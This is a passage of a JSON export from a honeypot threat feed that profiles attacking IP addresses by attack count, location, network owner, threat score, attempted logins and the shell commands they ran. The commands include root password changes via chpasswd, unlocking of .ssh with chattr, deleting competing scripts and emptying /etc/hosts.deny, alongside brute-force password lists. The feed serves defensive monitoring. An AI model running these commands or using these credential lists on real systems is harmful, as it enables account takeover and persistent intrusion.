        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"AA123456+\\nJG0BgAtMcyhn\\nJG0BgAtMcyhn\\n\"|passwd",
        "echo \"root:1ozhpdngMV29\"|chpasswd|bash",
        "echo \"root:27U3lzWNxUE8\"|chpasswd|bash",
        "echo \"root:L7DKAmq6Em3M\"|chpasswd|bash",
        "echo \"root:LZIHuBcOGvLs\"|chpasswd|bash",
        "echo \"root:QNL230ODAUIz\"|chpasswd|bash",
        "echo \"root:RmxkkZSCNGnN\"|chpasswd|bash",
        "echo \"root:omfqvde95KA4\"|chpasswd|bash",
        "echo -e \"AA123456+\\nJG0BgAtMcyhn\\nJG0BgAtMcyhn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of London",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 65.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1028,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T09:35:09.489000+00:00",
        "last_seen_30d": "2026-03-31T04:29:26.406000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 845,
        "Suricata": 183
      }
    },
    "209.97.189.165": {
      "attack_count": 713,
      "first_seen": "2026-03-09T02:51:49.910Z",
      "last_seen": "2026-03-09T05:03:34.021Z",
      "sessions": 140,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "postgres",
        "user",
        "hadoop",
        "root",
        "apache",
        "deploy",
        "git",
        "guest",
        "mysql",
        "nagios",
        "server",
        "test",
        "testuser",
        "vps",
        "weblogic"
      ],
      "passwords_attempted": [
        "123",
        "321",
        "pass",
        "password",
        "qwerty",
        "test",
        "111111",
        "123456",
        "1234qwer",
        "123qwe",
        "654321",
        "P@ssw0rd",
        "pass123",
        "pass1234",
        "passpass",
        "passwd",
        "password123",
        "qwe123",
        "qwer1234",
        "qwerty123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 1020,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:51:49.910000+00:00",
        "last_seen_30d": "2026-03-09T05:04:43.691000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 713,
        "Suricata": 307
      }
    },
    "194.107.115.2": {
      "attack_count": 636,
      "first_seen": "2026-03-10T19:27:43.965Z",
      "last_seen": "2026-03-28T01:22:47.976Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "isaac",
        "luis",
        "terraria",
        "admin",
        "angela",
        "auser",
        "bbb",
        "benjamin",
        "clawd",
        "dolphinscheduler",
        "kim",
        "operator",
        "ramesh",
        "richard",
        "santiago",
        "sara",
        "starbound",
        "stefan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "!@qwaszx12",
        "1029",
        "12345678",
        "1234567890qw",
        "123456789a",
        "5252",
        "Aa@123456..",
        "Admin123...",
        "Asd@2025",
        "Huawei123#",
        "Isaac123!",
        "Lh123456",
        "Operator123",
        "Password1!",
        "Qq112211"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nOctEltpx7YyI\\nOctEltpx7YyI\\n\"|passwd",
        "echo \"Isaac123!\\n0kvNlHJ0tjIl\\n0kvNlHJ0tjIl\\n\"|passwd",
        "echo \"root:LbMabu6q3ppd\"|chpasswd|bash",
        "echo \"root:VzbgzjemYVGT\"|chpasswd|bash",
        "echo \"root:fCaBKWMErAwS\"|chpasswd|bash",
        "echo \"terraria1234\\nEqc9J8YHwEZQ\\nEqc9J8YHwEZQ\\n\"|passwd",
        "echo -e \"123\\nOctEltpx7YyI\\nOctEltpx7YyI\"|passwd|bash",
        "echo -e \"Isaac123!\\n0kvNlHJ0tjIl\\n0kvNlHJ0tjIl\"|passwd|bash",
        "echo -e \"terraria1234\\nEqc9J8YHwEZQ\\nEqc9J8YHwEZQ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": null,
      "asn": 197984,
      "as_org": "State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ",
      "threat_score": 51.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 777,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:27:43.965000+00:00",
        "last_seen_30d": "2026-03-28T01:23:49.561000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 636,
        "Suricata": 141
      }
    },
    "134.122.38.129": {
      "attack_count": 602,
      "first_seen": "2026-03-16T22:41:13.809Z",
      "last_seen": "2026-03-16T22:55:09.718Z",
      "sessions": 120,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "ftpuser",
        "test",
        "admin",
        "bot",
        "a",
        "aaa",
        "abdi",
        "admin123",
        "airflow",
        "alex",
        "ali",
        "amir",
        "amirreza",
        "andrew",
        "ark",
        "audi",
        "bob"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "123",
        "password",
        "1",
        "1111",
        "1234",
        "12345",
        "admin123",
        "ubuntu",
        "090786",
        "0909",
        "11111111",
        "1224",
        "1234567",
        "12345qwe",
        "123qwe",
        "198600",
        "1996",
        "357357"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 846,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T22:41:13.809000+00:00",
        "last_seen_30d": "2026-03-16T23:05:13.304000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 602,
        "Suricata": 244
      }
    },
    "209.38.95.112": {
      "attack_count": 553,
      "first_seen": "2026-03-14T22:54:04.605Z",
      "last_seen": "2026-03-14T23:08:16.890Z",
      "sessions": 110,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "alex",
        "bot",
        "ali",
        "a",
        "aaa",
        "bob",
        "botuser",
        "abc",
        "administrator",
        "ams",
        "andrea",
        "andrew",
        "anna",
        "app",
        "brian",
        "0000",
        "123456",
        "a1",
        "a1marion"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "12345678",
        "1234",
        "admin123",
        "P@ssw0rd",
        "0000",
        "111",
        "12345",
        "1234567",
        "123root",
        "4dm1n",
        "Admin1234",
        "a",
        "a1",
        "aa",
        "aaa",
        "abc",
        "abdi",
        "abdulla"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 781,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:54:04.605000+00:00",
        "last_seen_30d": "2026-03-14T23:09:19.404000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 553,
        "Suricata": 228
      }
    },
    "34.58.124.191": {
      "attack_count": 469,
      "first_seen": "2026-03-09T02:49:57.630Z",
      "last_seen": "2026-03-24T16:46:55.878Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "es_user",
        "gns3",
        "pavel",
        "root",
        "test3",
        "arkserver",
        "debianuser",
        "esadmin",
        "foundry",
        "interview",
        "jon",
        "lighthouse",
        "mitra",
        "omega",
        "open",
        "pop",
        "rr",
        "sarah",
        "scanner"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "1234",
        "12345678",
        "12345",
        "123456",
        "Aa111111",
        "Arkserver123",
        "Esadmin",
        "Gns3123",
        "foundry",
        "interviewinterview",
        "mitra123",
        "omega",
        "open",
        "pop@123",
        "sarah",
        "server1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\niWlkpT0g8lhz\\niWlkpT0g8lhz\\n\"|passwd",
        "echo \"1234\\nokHuz6I3aZAQ\\nokHuz6I3aZAQ\\n\"|passwd",
        "echo \"123\\nUgEMobG2jhxQ\\nUgEMobG2jhxQ\\n\"|passwd",
        "echo \"Gns3123\\nexqZZLibzF00\\nexqZZLibzF00\\n\"|passwd",
        "echo \"root:Yj2sBLSo0O92\"|chpasswd|bash",
        "echo -e \"12345678\\niWlkpT0g8lhz\\niWlkpT0g8lhz\"|passwd|bash",
        "echo -e \"1234\\nokHuz6I3aZAQ\\nokHuz6I3aZAQ\"|passwd|bash",
        "echo -e \"123\\nUgEMobG2jhxQ\\nUgEMobG2jhxQ\"|passwd|bash",
        "echo -e \"Gns3123\\nexqZZLibzF00\\nexqZZLibzF00\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.4,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 549,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:49:57.630000+00:00",
        "last_seen_30d": "2026-03-24T16:48:02.954000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 469,
        "Suricata": 80
      }
    },
    "27.79.41.80": {
      "attack_count": 434,
      "first_seen": "2026-03-04T17:05:32.753Z",
      "last_seen": "2026-03-04T17:43:07.547Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "support",
        "user",
        "1234",
        "admian",
        "anton",
        "auto",
        "belkinstyle",
        "bin",
        "btf",
        "cf1c22",
        "config",
        "ftp",
        "ftpuser",
        "george",
        "guest",
        "guest1",
        "helpdesk"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "password",
        "12345",
        "admin123",
        "0l0ctyQh243O63uD",
        "1111",
        "123456",
        "12345678",
        "321start",
        "72ca06",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcd1234",
        "abcdefg",
        "admin01",
        "admin@123",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 614,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T17:05:32.753000+00:00",
        "last_seen_30d": "2026-03-04T17:44:08.860000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 434,
        "Suricata": 180
      }
    },
    "212.233.136.201": {
      "attack_count": 387,
      "first_seen": "2026-03-13T15:48:03.114Z",
      "last_seen": "2026-03-21T06:22:39.637Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "nb",
        "tomcat",
        "ts1",
        "auser",
        "cisco",
        "claude",
        "cristina",
        "cssserver",
        "empleados",
        "farhan",
        "ftp123",
        "ghost",
        "icecast0",
        "jboss",
        "john",
        "kapsch",
        "kobayashi",
        "luis"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "password",
        "!QAZ@WSX",
        "1029",
        "123",
        "123123",
        "1234",
        "@admin123",
        "Farhan123!",
        "Kapsch123!",
        "Lh123456",
        "Ntps",
        "Ricardo123!",
        "Stefan123!",
        "Ts1123!",
        "abc123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"!QAZ@WSX\\nXqYhcnxu2W4Y\\nXqYhcnxu2W4Y\\n\"|passwd",
        "echo \"12345678\\nlBEhqFDSrCIs\\nlBEhqFDSrCIs\\n\"|passwd",
        "echo \"Ts1123!\\nRmz3aHgSJhME\\nRmz3aHgSJhME\\n\"|passwd",
        "echo -e \"!QAZ@WSX\\nXqYhcnxu2W4Y\\nXqYhcnxu2W4Y\"|passwd|bash",
        "echo -e \"12345678\\nlBEhqFDSrCIs\\nlBEhqFDSrCIs\"|passwd|bash",
        "echo -e \"Ts1123!\\nRmz3aHgSJhME\\nRmz3aHgSJhME\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Pleven",
      "asn": 29582,
      "as_org": "Optisprint OOD",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 491,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T15:48:03.114000+00:00",
        "last_seen_30d": "2026-03-21T06:23:41.262000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 387,
        "Suricata": 104
      }
    },
    "172.203.134.70": {
      "attack_count": 323,
      "first_seen": "2026-03-23T23:10:53.844Z",
      "last_seen": "2026-03-23T23:57:07.150Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "maks",
        "svn",
        "dls",
        "ftb",
        "prashant",
        "team1",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345",
        "12345678",
        "Aa147258!",
        "Abc@123123",
        "Test.123",
        "ftb",
        "password",
        "svn123",
        "user1123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nbjk3PeOnk7HZ\\nbjk3PeOnk7HZ\\n\"|passwd",
        "echo \"root:WOFlroBRIdiu\"|chpasswd|bash",
        "echo \"root:wpYXUN8SMD6J\"|chpasswd|bash",
        "echo \"svn123\\nNQmatyfTCDMT\\nNQmatyfTCDMT\\n\"|passwd",
        "echo -e \"12345\\nbjk3PeOnk7HZ\\nbjk3PeOnk7HZ\"|passwd|bash",
        "echo -e \"svn123\\nNQmatyfTCDMT\\nNQmatyfTCDMT\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T23:10:53.844000+00:00",
        "last_seen_30d": "2026-03-23T23:58:14.067000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 323,
        "Suricata": 44
      }
    },
    "152.32.175.58": {
      "attack_count": 317,
      "first_seen": "2026-03-04T03:25:13.508Z",
      "last_seen": "2026-03-10T07:45:44.223Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "clawd",
        "kipt",
        "sklep",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "Bingo@1993",
        "Password2023!",
        "Qaz@2024",
        "Qwer1234!@",
        "Qwerty123",
        "a741852963",
        "aaa111",
        "cz123456",
        "sklep123!",
        "test123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:50Sk9JYJfHnn\"|chpasswd|bash",
        "echo \"root:Jlaym5nlMsP7\"|chpasswd|bash",
        "echo \"root:q3CwlsWOsTJb\"|chpasswd|bash",
        "echo \"test123\\nSZZFSbCZjdi9\\nSZZFSbCZjdi9\\n\"|passwd",
        "echo -e \"test123\\nSZZFSbCZjdi9\\nSZZFSbCZjdi9\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T03:25:13.508000+00:00",
        "last_seen_30d": "2026-03-10T07:46:46.186000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 44
      }
    },
    "103.59.94.19": {
      "attack_count": 282,
      "first_seen": "2026-03-09T02:32:39.548Z",
      "last_seen": "2026-03-26T16:04:28.906Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ftpupload",
        "master",
        "sysadmin",
        "dhiraj",
        "dockeruser",
        "hdoop",
        "lq",
        "proxyuser",
        "root",
        "root1",
        "sklep",
        "steam",
        "tania",
        "tms",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "Hdoop123",
        "Master123!",
        "Qwerty123",
        "dhiraj123!",
        "dockeruser123",
        "ftpuploadpass",
        "lq1234",
        "root",
        "senha123",
        "skleppass",
        "steam",
        "sysadmin1234",
        "tmspass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Master123!\\nZYp6vfljLXmp\\nZYp6vfljLXmp\\n\"|passwd",
        "echo \"ftpuploadpass\\nhOyZ0XKdIstH\\nhOyZ0XKdIstH\\n\"|passwd",
        "echo \"sysadmin1234\\nJhM8QUWTnlmV\\nJhM8QUWTnlmV\\n\"|passwd",
        "echo -e \"Master123!\\nZYp6vfljLXmp\\nZYp6vfljLXmp\"|passwd|bash",
        "echo -e \"ftpuploadpass\\nhOyZ0XKdIstH\\nhOyZ0XKdIstH\"|passwd|bash",
        "echo -e \"sysadmin1234\\nJhM8QUWTnlmV\\nJhM8QUWTnlmV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.2,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:32:39.548000+00:00",
        "last_seen_30d": "2026-03-26T16:05:31.575000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 282,
        "Suricata": 52
      }
    },
    "181.104.58.198": {
      "attack_count": 282,
      "first_seen": "2026-03-19T10:15:41.760Z",
      "last_seen": "2026-03-19T10:52:08.467Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "adminuser",
        "elias",
        "jake",
        "root",
        "benjamin",
        "camille",
        "cesar",
        "cheng",
        "kiran",
        "rahul",
        "stefan",
        "system",
        "test1",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "!QAZxsw2",
        "1337",
        "Demo@123",
        "Rahul",
        "adminuser",
        "benjaminpassword",
        "camille",
        "password",
        "systempass",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
